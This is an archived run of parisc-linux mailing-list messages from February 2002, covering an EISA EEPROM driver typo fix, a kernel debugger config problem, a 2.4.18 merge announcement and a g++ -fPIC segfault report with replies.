To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 12:05:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BD404842
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 12:05:44 -0700 (MST)
Original-Received: from p5080C94C.dip.t-dialin.net (p5080C94C.dip.t-dialin.net [80.128.201.76])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g1PJ5eV14576
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 20:05:41 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14171

Hi there,

looks like there is a typo in eisa_eeprom.c. Probably HPEE_BASE_LENG 
should be HPEE_MAX_LENGTH instead?

ebru:/usr/src/linux/drivers/gsc# cvs diff -u eisa_eeprom.c
Index: eisa_eeprom.c
===================================================================
RCS file: /var/cvs/linux/drivers/gsc/eisa_eeprom.c,v
retrieving revision 1.1
diff -u -r1.1 eisa_eeprom.c
--- eisa_eeprom.c       2002/02/24 16:29:43     1.1
+++ eisa_eeprom.c       2002/02/25 19:01:26
@@ -22,10 +22,10 @@
                offset += file->f_pos;
                break;
          case 2:
-               offset += HPEE_BASE_LENG;
+               offset += HPEE_MAX_LENGTH;
                break;
        }
-       return (offset >= 0 && offset < HPEE_BASE_LENG) ? (file->f_pos = offset) : -EINVAL;
+       return (offset >= 0 && offset < HPEE_MAX_LENGTH) ? (file->f_pos = offset) : -EINVAL;
 }

 static ssize_t eisa_eeprom_read(struct file * file,
@@ -35,10 +35,10 @@
        ssize_t ret;
        int i;

-       if (*ppos >= HPEE_BASE_LENG)
+       if (*ppos >= HPEE_MAX_LENGTH)
                return 0;

-       count = *ppos + count < HPEE_BASE_LENG ? count : HPEE_BASE_LENG - *ppos;
+       count = *ppos + count < HPEE_MAX_LENGTH ? count : HPEE_MAX_LENGTH - *ppos;
        tmp = kmalloc(count, GFP_KERNEL);
        if (tmp) {
                for (i = 0; i < count; i++)

Cheers,
--jochen




From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem to compile kernel form CVS.
Date: Mon, 25 Feb 2002 12:10:22 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020225191022.E27A54844@dsl2.external.hp.com>
References: <02c001c1be2d$c97b20a0$9601a8c0@utopia>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621105 3869 80.91.229.3 (22 Nov 2014 01:51:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Dutot_St=E9phane?= <stephane.dutot@exlicite.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 12:10:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E27A54844; Mon, 25 Feb 2002 12:10:22 -0700 (MST)
In-Reply-To: Message from =?iso-8859-1?Q?Dutot_St=E9phane?= <stephane.dutot@exlicite.net> 
   of "Mon, 25 Feb 2002 19:54:00 +0100." <02c001c1be2d$c97b20a0$9601a8c0@utopia> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14172

=?iso-8859-1?Q?Dutot_St=E9phane?= wrote:
> make -C arch/parisc/kdb fastdep
...
> Have you some idea to solve this problem ?

Yes. Disable CONFIG_KWDB.

That was something I had worked on with the hope I would get permission
to publish the full source. Was never given that permission.
Piet Delaney (sp?) is working on a kernel debugger.

grant



From - Thu Nov 08 21:21:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA EEPROM patch
Date: Mon, 25 Feb 2002 12:11:51 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020225191151.A89224855@dsl2.external.hp.com>
References: <Pine.LNX.4.43.0202252002560.24957-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621105 3872 80.91.229.3 (22 Nov 2014 01:51:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:45 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 12:11:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A89224855; Mon, 25 Feb 2002 12:11:51 -0700 (MST)
In-Reply-To: Message from Jochen Friedrich <jochen@scram.de> 
   of "Mon, 25 Feb 2002 20:05:32 +0100." <Pine.LNX.4.43.0202252002560.24957-100000@alpha.bocc.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14173

Jochen Friedrich wrote:
> looks like there is a typo in eisa_eeprom.c. Probably HPEE_BASE_LENG 
> should be HPEE_MAX_LENGTH instead?

Yes.
I think Thomas will fix this shortly.

grant



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA EEPROM patch
Date: Mon, 25 Feb 2002 20:42:15 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020225204215.A2377@solo.franken.de>
References: <Pine.LNX.4.43.0202252002560.24957-100000@alpha.bocc.de> <jochen@scram.de> <20020225191151.A89224855@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621106 3875 80.91.229.3 (22 Nov 2014 01:51:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:46 +0000 (UTC)
Cc: Jochen Friedrich <jochen@scram.de>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 12:43:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p50845770.dip.t-dialin.net [80.132.87.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 819DE483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 12:43:32 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g1PJgFF02484;
	Mon, 25 Feb 2002 20:42:15 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020225191151.A89224855@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Feb 25, 2002 at 12:11:51PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14174

On Mon, Feb 25, 2002 at 12:11:51PM -0700, Grant Grundler wrote:
> Jochen Friedrich wrote:
> > looks like there is a typo in eisa_eeprom.c. Probably HPEE_BASE_LENG 
> > should be HPEE_MAX_LENGTH instead?
> 
> Yes.
> I think Thomas will fix this shortly.

yep, I missed that one :-( Fix is commited.

Thomas

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Down: http://mkhppa1.esiee.fr/
Date: Mon, 25 Feb 2002 21:02:04 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020225200204.6CAD349BEB@mail.esiee.fr>
References: <20020225095743.GL32703@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621106 3878 80.91.229.3 (22 Nov 2014 01:51:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 13:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86B504847
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Feb 2002 13:02:07 -0700 (MST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6CAD349BEB; Mon, 25 Feb 2002 21:02:04 +0100 (CET)
User-Agent: IMHO/0.98.3 (Webmail for Roxen)
X-Originating-IP: [212.198.140.39]
In-Reply-To: <20020225095743.GL32703@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14175

-------------------
> http://mkhppa1.esiee.fr/
> has been down for at least the weekend and still is.
> 

Well, mkhppa1 is up again.

We had a powerfail, and the admin was in vacation ;o)

We are very sorry for the trouble.


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18 merged
Date: Tue, 26 Feb 2002 00:49:49 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20020226004949.D20667@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621106 3879 80.91.229.3 (22 Nov 2014 01:51:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 17:49:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BADF4843
	for <parisc-linux@parisc-linux.org>; Mon, 25 Feb 2002 17:49:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16fVoT-0006Oc-00
	for parisc-linux@parisc-linux.org; Tue, 26 Feb 2002 00:49:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14176

Those on the CVS list will already have seen that Paul Bame & I
merged 2.4.18 into our CVS head.  There's one unmerged driver --
drivers/net/pcnet32.c, but the rest has compiled & booted on c3k.

Have fun.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc (g++) problem
Date: Mon, 25 Feb 2002 19:53:40 -0800 (PST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0202251907560.6941-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621107 3883 80.91.229.3 (22 Nov 2014 01:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:47 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 20:53:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 783774845
	for <parisc-linux@parisc-linux.org>; Mon, 25 Feb 2002 20:53:50 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id D77BF7BC4B
	for <parisc-linux@parisc-linux.org>; Mon, 25 Feb 2002 19:53:40 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14177

As you may remember from my last question, I'm having some problems
building some code on parisc-linux.  I have been able to reproduce the
problem using a more simple program.

Here's the problem.  This program segfaults when compiled with -fPIC, as
required to build a .so.  It is fine when compiled without -fPIC.  It is
also fine on intel platform with both.  Is there something wrong with the
code that I'm not seeing, or is this a compiler bug?  I have tried this
with gcc-3 on an intel box, and it is fine, so I assume it is this port?

Thanks for your help...

g++ -g -o test -fPIC test.cpp

---- test.cpp ----
#include <stdio.h>

class Foo
{
public:
	Foo(const char * const blah);
	unsigned char* text;
};
Foo::Foo(const char * const blah)
{
	text=(unsigned char *)blah;
}

const Foo test("Blah");
int main()
{
	printf("%s\n", test.text);
	return 0;
}



-- 
Advertisements contain the only truths to be relied on in a newspaper.
		-- Thomas Jefferson




From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (g++) problem
Date: Mon, 25 Feb 2002 23:25:34 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200202260425.g1Q4PYOJ001214@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.33L2.0202251907560.6941-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621107 3885 80.91.229.3 (22 Nov 2014 01:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jeremyd@apptechsys.com (Jeremy Drake)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 21:25:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DF6D4846
	for <parisc-linux@parisc-linux.org>; Mon, 25 Feb 2002 21:25:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1Q4PZFN001215;
	Mon, 25 Feb 2002 23:25:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1Q4PYOJ001214;
	Mon, 25 Feb 2002 23:25:34 -0500 (EST)
In-Reply-To: <Pine.LNX.4.33L2.0202251907560.6941-100000@eiger.apptechsys.com> from "Jeremy Drake" at Feb 25, 2002 07:53:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14178

> Here's the problem.  This program segfaults when compiled with -fPIC, as
> required to build a .so.  It is fine when compiled without -fPIC.  It is
> also fine on intel platform with both.  Is there something wrong with the
> code that I'm not seeing, or is this a compiler bug?  I have tried this
> with gcc-3 on an intel box, and it is fine, so I assume it is this port?

It's probably a compiler bug.  The code works ok with my 3.1 test version.
I think the problem may be the restoration of the pic offset table register
after function calls.

Suggest trying the debian 3.1 prerelease build.  Search the list to find
how to get it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (g++) problem
Date: Mon, 25 Feb 2002 20:38:04 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20020226043804.GA5069@tausq.org>
References: <Pine.LNX.4.33L2.0202251907560.6941-100000@eiger.apptechsys.com> <200202260425.g1Q4PYOJ001214@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621107 3887 80.91.229.3 (22 Nov 2014 01:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:47 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 25 21:38:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73B22484A
	for <parisc-linux@parisc-linux.org>; Mon, 25 Feb 2002 21:38:15 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id xffslaaa for parisc-linux@parisc-linux.org; Mon, 25 Feb 2002 21:37:45 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16fZNM-0001Lc-00; Mon, 25 Feb 2002 20:38:04 -0800
Content-Disposition: inline
In-Reply-To: <200202260425.g1Q4PYOJ001214@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14179

> It's probably a compiler bug.  The code works ok with my 3.1 test version.
> I think the problem may be the restoration of the pic offset table register
> after function calls.
> 
> Suggest trying the debian 3.1 prerelease build.  Search the list to find
> how to get it.

something is broken in the debian 3.1 snapshot package,
unfortunately....

legolas[20:35] ~% /usr/lib/gcc-snapshot/bin/g++ -o foo foo.cc 
/usr/bin/ld: unrecognized option '--eh-frame-hdr'
/usr/bin/ld: use the --help option for usage information
collect2: ld returned 1 exit status

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nslookup segmentation fault
Date: Tue, 26 Feb 2002 07:09:33 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <2F1E6AB90ECAD311943700A0C9E3B154080038E3@xatl03.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621107 3901 80.91.229.3 (22 Nov 2014 01:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 08:09:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85BD9484B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 08:09:39 -0700 (MST)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel12.hp.com (Postfix) with ESMTP id 0B954600408
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 07:09:35 -0800 (PST)
Original-Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223])
	by xparelay1.corp.hp.com (Postfix) with ESMTP id D7C16E000A1
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 07:09:34 -0800 (PST)
Original-Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <FQMH6K75>; Tue, 26 Feb 2002 07:09:34 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
